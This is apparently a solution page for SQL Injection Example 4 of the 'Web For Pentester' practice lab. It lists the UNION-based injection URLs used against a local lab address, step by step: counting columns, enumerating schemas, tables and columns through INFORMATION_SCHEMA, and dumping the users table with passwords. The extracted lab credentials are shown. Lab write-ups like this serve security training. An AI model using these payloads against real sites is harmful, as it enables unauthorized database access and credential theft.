Web For Pentester SQL Injection Example 4 Solution

Publicado el: 02 septiembre 2018
en el canal de: Shahzad Haxor

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Web For Pentester SQL Injection Example 4 Solution
SQL Injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements (also commonly referred to as a malicious payload) that control a web application's database server (also commonly referred to as a Relational Database Management System – RDBMS).

Fix Query :
http://192.168.174.132/sqli/example4.php?id=2 %23

Let's Find columns :
http://192.168.174.132/sqli/example4.php?id=2 order by 5 %23

There are 5 columns.

Let's Find Vulnerable Column :
http://192.168.174.132/sqli/example4.php?id=2 union select 1,2,3,4,5 %23

1,2,3 Is Reflecting.

Find Database name :
http://192.168.174.132/sqli/example4.php?id=2 union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4,5 %23

Database name : exercises

Let's Find Table Names :
http://192.168.174.132/sqli/example4.php?id=2 union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x657865726369736573),2,3,4,5 %23

Table name : users

Now Let's find columns :
http://192.168.174.132/sqli/example4.php?id=2 union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273) ,2,3,4,5 %23

Column Names :
id
name
age
groupid
passwd

Let's Extract Data :
http://192.168.174.132/sqli/example4.php?id=2 union select (SELECT+GROUP_CONCAT(0x22494422,id,0x224e616d6522,name,0x2241474522,age,0x2247494422,groupid,0x2250617373776f726422,passwd+SEPARATOR+0x3c62723e)+FROM+exercises.users) ,2,3,4,5 %23

Extracted Data :
"ID"1"Name"admin"AGE"10"GID"10"Password"admin
"ID"2"Name"root"AGE"30"GID"0"Password"admin21
"ID"3"Name"user1"AGE"5"GID"2"Password"secret
"ID"5"Name"user2"AGE"2"GID"5"Password"azerty

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